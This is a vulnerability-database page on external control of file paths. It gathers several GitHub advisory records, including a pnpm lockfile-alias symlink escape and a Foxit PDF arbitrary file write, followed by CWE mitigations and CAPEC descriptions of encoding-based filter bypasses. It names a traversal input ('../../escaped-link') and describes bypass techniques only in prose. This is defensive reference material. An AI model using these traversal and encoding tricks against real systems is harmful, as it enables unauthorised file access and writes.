Valid unscoped and scoped dependency aliases continue to work. The reproduced escape was specific to pacquet, so this branch does not change the TypeScript CLI or the lockfile format.
Written by an agent (Codex, GPT-5).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0-alpha.0"
},
{
"fixed": "12.0.0-alpha.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-01T18:59:22Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nA crafted lockfile alias could reach several install-time filesystem joins. With `--trust-lockfile` or a frozen lockfile, traversal segments could create links outside the intended project or `node_modules` boundary. This patch validates dependency names and every virtual-store slot before creating directories, links, bins, or hoisted entries.\n\n## Security boundary\n\n- A shared safe-join helper rejects traversal, absolute, platform-specific, and reserved dependency names before filesystem materialization.\n- Direct and transitive dependency links, package links, bin destinations, and public/private hoist destinations use the same containment rule.\n- Global virtual-store slots validate the complete slot path, including version-derived components, before directory creation.\n- Snapshot slots and package names are checked before store initialization and before the current-lockfile fast path, closing the warm-install bypass.\n- Rejections preserve `ERR_PNPM_INVALID_DEPENDENCY_NAME`.\n\n## Exploit replay\n\nBefore the patch, `pacquet install --frozen-lockfile --trust-lockfile` accepted a `../../escaped-link` dependency key and created a symlink outside the project. With this patch, the same lockfile is rejected before materialization and no outside link is created.\n\n## Files changed\n\n- `pacquet/crates/package-manager/src/safe_join_modules_dir.rs` defines the shared containment rule.\n- Install, symlink, bin, hoist, virtual-store, and frozen-lockfile paths call that helper before filesystem materialization.\n- The corresponding `tests.rs` files cover every sink, including warm installs and global virtual-store slots.\n\n## Commands run\n\n```text\n$ cargo test --locked -p pacquet-package-manager --lib\nPASS: 434 tests\n$ cargo clippy --locked -p pacquet-package-manager --all-targets -- --deny warnings\nPASS\n$ cargo fmt --all -- --check\nPASS\n```\n\n## Validation\n\n- Full pacquet package-manager suite: 434 passed.\n- Focused regressions cover direct and transitive aliases, bins, hoists, package names, global virtual-store version traversal, and a poisoned prior-install slot.\n- `cargo clippy -p pacquet-package-manager --all-targets -- -D warnings`: passed.\n- `cargo fmt --all -- --check` and `git diff --check`: passed.\n\n## Compatibility\n\nValid unscoped and scoped dependency aliases continue to work. The reproduced escape was specific to pacquet, so this branch does not change the TypeScript CLI or the lockfile format.\n\n---\nWritten by an agent (Codex, GPT-5).",
"id": "GHSA-2rx9-3g3h-c2jv",
"modified": "2026-09-01T18:59:22Z",
"published": "2026-09-01T18:59:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-2rx9-3g3h-c2jv"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/pull/12872"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/commit/51300fd41c5e4c8f47635108e373cc3d1f324fa7"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "pnpm: pacquet trust-lockfile install can create dependency symlinks outside the project"
}
GHSA-2RXQ-Q8QW-7PGP
Vulnerability from github – Published: 2026-07-30 06:32 – Updated: 2026-07-30 18:31The Ultimate Addons for WPBakery Page Builder WordPress plugin before 3.21.4 does not perform a capability or nonce check before deleting a site's custom-uploaded icon font packs, allowing unauthenticated attackers to permanently delete all of a site's custom icon fonts with a single request.
{
"affected": [],
"aliases": [
"CVE-2026-15382"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T06:25:02Z",
"severity": "MODERATE"
},
"details": "The Ultimate Addons for WPBakery Page Builder WordPress plugin before 3.21.4 does not perform a capability or nonce check before deleting a site\u0027s custom-uploaded icon font packs, allowing unauthenticated attackers to permanently delete all of a site\u0027s custom icon fonts with a single request.",
"id": "GHSA-2rxq-q8qw-7pgp",
"modified": "2026-07-30T18:31:33Z",
"published": "2026-07-30T06:32:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15382"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/54e94f13-758d-4e05-9993-c72ea270e216"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-2VPR-X5CR-VRGV
Vulnerability from github – Published: 2026-06-03 18:33 – Updated: 2026-06-03 18:33A vulnerability in Cisco Finesse could allow an unauthenticated, remote attacker to load arbitrary files from remote locations into an active user session on an affected device, possibly leading to browser-based attacks.
This vulnerability is due to insufficient validation of user-supplied input for HTTP requests that are sent to an affected device. An attacker who has knowledge of the address of the affected device could exploit this vulnerability by persuading a user to click a crafted link that contains the affected device address. A successful exploit could allow the attacker to conduct browser-based attacks and execute arbitrary script code in the context of the affected interface or access sensitive information on the affected device.
{
"affected": [],
"aliases": [
"CVE-2026-20175"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-03T18:16:19Z",
"severity": "MODERATE"
},
"details": "A vulnerability in Cisco Finesse could allow an unauthenticated, remote attacker to load arbitrary files from remote locations into an active user session on an affected device, possibly leading to browser-based attacks.\n\nThis vulnerability is due to insufficient validation of user-supplied input for HTTP requests that are sent to an affected device. An attacker who has knowledge of the address of the affected device could exploit this vulnerability by persuading a user to click a crafted link that contains the affected device address. A successful exploit could allow the attacker to conduct browser-based attacks and execute arbitrary script code in the context of the affected interface or access sensitive information on the affected device.",
"id": "GHSA-2vpr-x5cr-vrgv",
"modified": "2026-06-03T18:33:11Z",
"published": "2026-06-03T18:33:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20175"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-finesse-rfi-gwpkdc89"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2W45-JCMR-Q4FV
Vulnerability from github – Published: 2025-08-20 18:30 – Updated: 2025-08-22 18:31Foxit PDF Reader < 4.3.1.0218 exposes a JavaScript API function, createDataObject(), that allows untrusted PDF content to write arbitrary files anywhere on disk. By embedding a malicious PDF that calls this API, an attacker can drop executables or scripts into privileged folders, leading to code execution the next time the system boots or the user logs in.
{
"affected": [],
"aliases": [
"CVE-2011-10030"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T16:15:36Z",
"severity": "HIGH"
},
"details": "Foxit PDF Reader \u003c\u00a0 4.3.1.0218 exposes a JavaScript API function, createDataObject(), that allows untrusted PDF content to write arbitrary files anywhere on disk. By embedding a malicious PDF that calls this API, an attacker can drop executables or scripts into privileged folders, leading to code execution the next time the system boots or the user logs in.",
"id": "GHSA-2w45-jcmr-q4fv",
"modified": "2025-08-22T18:31:15Z",
"published": "2025-08-20T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-10030"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb"
},
{
"type": "WEB",
"url": "https://scarybeastsecurity.blogspot.com/2011/03/dangerous-file-write-bug-in-foxit-pdf.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/16978"
},
{
"type": "WEB",
"url": "https://www.foxit.com/pdf-reader/version-history.html"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/foxit-pdf-reader-javascript-file-write"
},
{
"type": "WEB",
"url": "http://scarybeastsecurity.blogspot.com/2011/03/dangerous-file-write-bug-in-foxit-pdf.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2W8J-H6JX-GC5Q
Vulnerability from github – Published: 2025-04-23 06:31 – Updated: 2025-04-23 06:31Gee-netics, member of AXIS Camera Station Pro Bug Bounty Program, has identified an issue with a specific file that the server is using. A non-admin user can modify this file to either create files or change the content of files in an admin-protected location. Axis has released a patched version for the highlighted flaw. Please refer to the Axis security advisory for more information and solution.
{
"affected": [],
"aliases": [
"CVE-2025-1056"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-23T06:15:46Z",
"severity": "MODERATE"
},
"details": "Gee-netics, member of AXIS Camera Station Pro Bug Bounty Program, has identified an issue with a specific file that the server is using. A non-admin user can modify this file to either create files or change the content of files in an admin-protected location.\nAxis has released a patched version for the highlighted flaw. Please \nrefer to the Axis security advisory for more information and solution.",
"id": "GHSA-2w8j-h6jx-gc5q",
"modified": "2025-04-23T06:31:26Z",
"published": "2025-04-23T06:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1056"
},
{
"type": "WEB",
"url": "https://www.axis.com/dam/public/e4/2e/b2/cve-2025-1056pdf-en-US-479106.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.